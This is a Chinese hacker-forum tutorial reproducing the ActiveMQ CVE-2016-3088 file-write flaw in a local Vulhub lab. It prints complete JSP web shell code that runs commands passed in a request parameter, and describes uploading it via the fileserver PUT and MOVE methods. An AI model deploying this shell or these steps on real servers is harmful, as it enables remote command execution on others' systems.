跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

ActiveMQ (CVE-2016-3088)任意文件写入漏洞

精选回复

发布于

前言:

学习完Rust的Vector,想着复现一下Vulhub里面的漏洞。然后就踩到了一个坑了。= =简直MMP,原本是想着写CVE-2015-5254的复现的。可复现方法不能用了。所以...

正文:

首先我们要搭建Vulhub的环境:

Vulhub漏靶场搭建方法:

vulhub官网:http://vulhub.org/#/docs/download-vulhub/
1.安装docker,windows自己去官网下。Linux执行:sudo apt-get install docker.io
2.安装python和pip:sudo apt-get install python和suao apt-get install python-pip
3.安装docker-compose:pip install docker-compose
4.下载Vulhub:git clone https://github.com/vulhub/vulhub.git

安装好之后进入对应的漏洞文件执行:docker-compose up -d
如果出现:Couldn't connect to Docker daemon at http+xxx的问题有三个解决的方法:
1.将当前的用户加入dokcer用户组 sudo usermod -aG docker <Username>
2.在使用docker-compose附加上sudo sudo docker-compose up -d
3.设置DOCKER_HOST这一个环境变量 export DOCKER_HOST=tcp://loaclhost:4243 设置完成后重新启动docker

漏洞介绍:

ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。

fileserver是一个RESTful API接口,我们可以通过GET、PUT、DELETEHTTP请求对其中存储的文件进行读写操作,其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷,但后来发现:

其使用率并不高
文件操作容易出现漏洞
所以,ActiveMQ在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(你可以在conf/jetty.xml中开启之);在5.14.0版本以后,彻底删除了fileserver应用。

 

在测试过程中,可以关注ActiveMQ的版本,避免走弯路。

这里我的是CVE-2016-3088,所以我们要进入对应的目录:

cd /vulhub/activemq/CVE-2016-3088 

 

VZ5imMu.png
然后执行docker-compose -build 下载漏洞环境
然后在执行docker-compose up -d 启动

之后我们打开浏览器访问:

http://127.0.0.1:8161

我们可以看到如下图所示:

uoF1A1z.png

这个任意文件写入漏洞得要先知道WEB路径。所以我们得登陆后台
默认用户名和密码是:admin/admin,登陆进去后我们要访问

http://your-ip:8161/admin/test/systemProperties.jsp

查看ActiveMQ的绝对路径

LpIcgNx.png

绝对路径为:

/opt/activemq

知道绝对路径之后,我们要进行文件上传。

MyFt8se.png

注:这里的shell2.txt为shell代码
shell代码如下:

<%@ page import="java.util.*,java.io.*"%> <% %> 
<HTML><BODY> <FORM METHOD="GET" NAME="comments" ACTION="">
<INPUT TYPE="text" NAME="comment"> 
<INPUT TYPE="submit" VALUE="Send"> 
</FORM> <pre> 
<%
 if ( request.getParameter( "comment" ) != null )
 {
     out.println( "Command: " + request.getParameter( "comment" ) + "<BR>" );
     Process p        = Runtime.getRuntime().exec( request.getParameter( "comment" ) );
     OutputStream os    = p.getOutputStream();
     InputStream in        = p.getInputStream();
     DataInputStream dis    = new DataInputStream( in );
     String disr        = dis.readLine();
     while ( disr != null )
     {
         out.println( disr ); disr = dis.readLine();
     }
 }
 %>
 </pre> 
 </BODY></HTML>

代码来自:https://github.com/JoyChou93/webshell/blob/master/jsp/cmd.jsp

上传:

dSa5cgB.png

HTTP状态码为204,即为上传成功

然后听过MOVE进行改名为jsp

YdINGV6.png

然后我们访问http://127.0.0.1:8161/api,就可以看到我们上传的shell文件

asEAY27.png

执行命令如下:

AI0RAO3.png

ActiveMQ更多漏洞:http://www.freebuf.com/column/161188.html

来之422926799.github.io

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。